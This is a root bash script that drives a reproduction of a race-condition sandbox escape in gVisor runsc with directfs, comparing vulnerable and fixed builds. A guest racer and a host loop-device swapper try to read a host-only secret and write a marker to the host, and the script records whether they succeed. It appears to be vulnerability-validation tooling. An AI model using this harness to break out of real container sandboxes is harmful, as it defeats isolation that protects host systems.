#!/bin/bash
# Runs as root inside one privileged Docker container. It drives two clean
# vulnerable and two clean fixed production runsc/directfs attempts against
# identical host loop-device swaps. Each attempt gets a fresh OCI bundle,
# runsc root, host backing image, loop mapping, directfs mount, and marker.
set -uo pipefail
WORK=/work
BIN="$WORK/bin"
RESULTS="$WORK/results"
PLATFORM="${PLATFORM:-systrap}"
SECS="${RACE_SECS:-12}"
SECRET="HOST_ONLY_SECRET_4ec7309a"
mkdir -p "$RESULTS" /run

cleanup_all() {
    set +e
    for dev in $(losetup -j /tmp/pruva-directfs-*.img 2>/dev/null | cut -d: -f1); do losetup -d "$dev" 2>/dev/null; done
    for d in /race-vuln-* /race-fixed-*; do mountpoint -q "$d" && umount "$d"; done
}
finalize(){ cleanup_all; if [ -n "${CALLER_UID:-}" ] && [ -n "${CALLER_GID:-}" ]; then chown -R "$CALLER_UID:$CALLER_GID" "$RESULTS" "$BIN" 2>/dev/null || true; fi; }
trap finalize EXIT

make_bundle() {
    local role="$1" attempt="$2" marker="$3"
    local bundle="/bundle-$role-$attempt"
    rm -rf "$bundle"
    mkdir -p "$bundle/rootfs"
    cp "$BIN/guest_block_racer" "$bundle/rootfs/guest_block_racer"
    chmod 755 "$bundle/rootfs/guest_block_racer"
    cat >"$bundle/config.json" <<EOF
{
  "ociVersion": "1.0.2",
  "process": {
    "terminal": false,
    "user": {"uid": 0, "gid": 0},
    "args": ["/guest_block_racer", "/race/target", "$SECS", "$SECRET", "$marker"],
    "env": ["PATH=/"], "cwd": "/", "noNewPrivileges": false
  },
  "root": {"path": "rootfs", "readonly": false},
  "hostname": "directfs-race",
  "mounts": [
    {"destination": "/proc", "type": "proc", "source": "proc"},
    {"destination": "/dev", "type": "tmpfs", "source": "tmpfs", "options": ["nosuid", "mode=755"]},
    {"destination": "/race", "type": "bind", "source": "/race-$role-$attempt", "options": ["rbind", "rw"]}
  ],
  "linux": {"namespaces": [
    {"type": "pid"}, {"type": "network"}, {"type": "ipc"},
    {"type": "uts"}, {"type": "mount"}
  ]}
}
EOF
}

# Watches only the current runsc container's process tree (identified through
# runsc state), not every host process. A matching row must show the exact loop
# major/minor and the expected /race-ROLE-ATTEMPT/{target,swapdev} backing path.
fdwatch_container() {
    local runsc="$1" root="$2" ctr="$3" expected_hex_major="$4" expected_hex_minor="$5" out="$6"
    : >"$out"
    local deadline=$(( $(date +%s) + SECS + 12 ))
    while [ "$(date +%s)" -lt "$deadline" ]; do
        local state pids pid fdt tgt info
        state="$($runsc --root "$root" state "$ctr" 2>/dev/null || true)"
        pids="$(printf '%s' "$state" | grep -oE '"pid":[0-9]+' | cut -d: -f2 | tr '\n' ' ')"
        # Include direct children of runsc-reported PIDs (sentry/container-gofer).
        for pid in $pids; do
            [ -d "/proc/$pid" ] || continue
            printf '%s ' "$pid"
            cat "/proc/$pid/task/$pid/children" 2>/dev/null || true
        done | tr ' ' '\n' | sort -un | while read -r pid; do
            [ -n "$pid" ] && [ -d "/proc/$pid/fd" ] || continue
            for fdt in "/proc/$pid/fd/"*; do
                tgt="$(readlink "$fdt" 2>/dev/null)" || continue
                case "$tgt" in */race-*/target|*/race-*/swapdev)
                    info="$(stat -Lc '%F major=%t minor=%T inode=%i' "$fdt" 2>/dev/null)" || continue
                    case "$info" in
                      "block special file major=$expected_hex_major minor=$expected_hex_minor"*)
                        echo "HOST_FD_CORRELATED pid=$pid comm=$(cat /proc/$pid/comm 2>/dev/null) fd=${fdt##*/} target=$tgt stat=[$info] container=$ctr" >>"$out" ;;
                    esac
                esac
            done
        done
        sleep 0.05
    done
}

run_attempt() {
    local role="$1" attempt="$2"
    local runsc="$BIN/runsc-$role"
    local root="/run/runsc-$role-$attempt"
    local ctr="directfs-$role-$attempt"
    local race="/race-$role-$attempt"
    local image="/tmp/pruva-directfs-$role-$attempt.img"
    local marker="GUEST_HOST_MARKER_${role}_${attempt}_91d7c3ee"
    local loop rc=0 maj_hex min_hex maj min

    rm -rf "$root" "$race" "$image"
    mkdir -p "$root" "$race"
    mount -t tmpfs -o mode=1777 tmpfs "$race"
    truncate -s 16M "$image"
    loop="$(losetup --find --show "$image")" || return 2
    printf '%s' "$SECRET" | dd of="$image" bs=1 seek=4096 conv=notrunc status=none
    maj_hex="$(stat -Lc '%t' "$loop")"; min_hex="$(stat -Lc '%T' "$loop")"
    maj=$((16#$maj_hex)); min=$((16#$min_hex))
    make_bundle "$role" "$attempt" "$marker"

    {
      echo "ROLE=$role ATTEMPT=$attempt"
      echo "RUNSC=$($runsc --version 2>&1 | head -1)"
      echo "LOOP=$loop MAJOR=$maj MINOR=$min BACKING_SHA_BEFORE=$(sha256sum "$image" | awk '{print $1}')"
      echo "SECRET=$SECRET MARKER=$marker"
    } >"$RESULTS/setup-$role-$attempt.log"

    "$BIN/host_block_swapper" "$race" $((SECS + 8)) "$maj" "$min" >"$RESULTS/swapper-$role-$attempt.log" 2>&1 &
    local swapper=$!
    sleep 0.15
    fdwatch_container "$runsc" "$root" "$ctr" "$maj_hex" "$min_hex" "$RESULTS/fdwatch-$role-$attempt.log" &
    local watcher=$!

    timeout --signal=KILL $((SECS + 18)) "$runsc" \
      --root "$root" \
      --sidecar-usage-policy=LEGACY_DEPRECATED_SLOW_EMBEDDED_FALLBACK \
      --directfs=true --platform="$PLATFORM" --network=none --ignore-cgroups \
      run --bundle "/bundle-$role-$attempt" "$ctr" \
      >"$RESULTS/guest-$role-$attempt.log" 2>&1 || rc=$?
    echo "$rc" >"$RESULTS/guest-$role-$attempt.exit"
    kill "$swapper" "$watcher" 2>/dev/null || true
    wait "$swapper" 2>/dev/null || true
    wait "$watcher" 2>/dev/null || true
    "$runsc" --root "$root" delete --force "$ctr" >/dev/null 2>&1 || true

    dd if="$image" bs=1 skip=8192 count=64 status=none >"$RESULTS/host-marker-$role-$attempt.bin"
    sha256sum "$image" >"$RESULTS/backing-sha-$role-$attempt.txt"
    {
      echo "EXPECTED_MARKER=$marker"
      printf 'OBSERVED_MARKER_ASCII='; tr -cd '[:print:]' <"$RESULTS/host-marker-$role-$attempt.bin"; echo
      echo "OBSERVED_MARKER_HEX=$(od -An -tx1 -v "$RESULTS/host-marker-$role-$attempt.bin" | tr -d ' \n')"
      echo "MATCH=$(grep -aFq "$marker" "$RESULTS/host-marker-$role-$attempt.bin" && echo true || echo false)"
    } >"$RESULTS/host-observation-$role-$attempt.log"

    losetup -d "$loop" || true
    umount "$race" || true
    echo "attempt role=$role attempt=$attempt rc=$rc"
    grep -E 'GUEST_HOST_BLOCK_(READ|WRITE|NOWIN)' "$RESULTS/guest-$role-$attempt.log" || true
    cat "$RESULTS/host-observation-$role-$attempt.log"
    grep -m1 HOST_FD_CORRELATED "$RESULTS/fdwatch-$role-$attempt.log" || true
}

rm -f "$RESULTS"/{setup,swapper,guest,fdwatch,host-marker,host-observation,backing-sha}-* 2>/dev/null || true
for role in vuln fixed; do
  for attempt in 1 2; do run_attempt "$role" "$attempt"; done
done
echo "BLOCK_RACE_INSIDE_DONE"
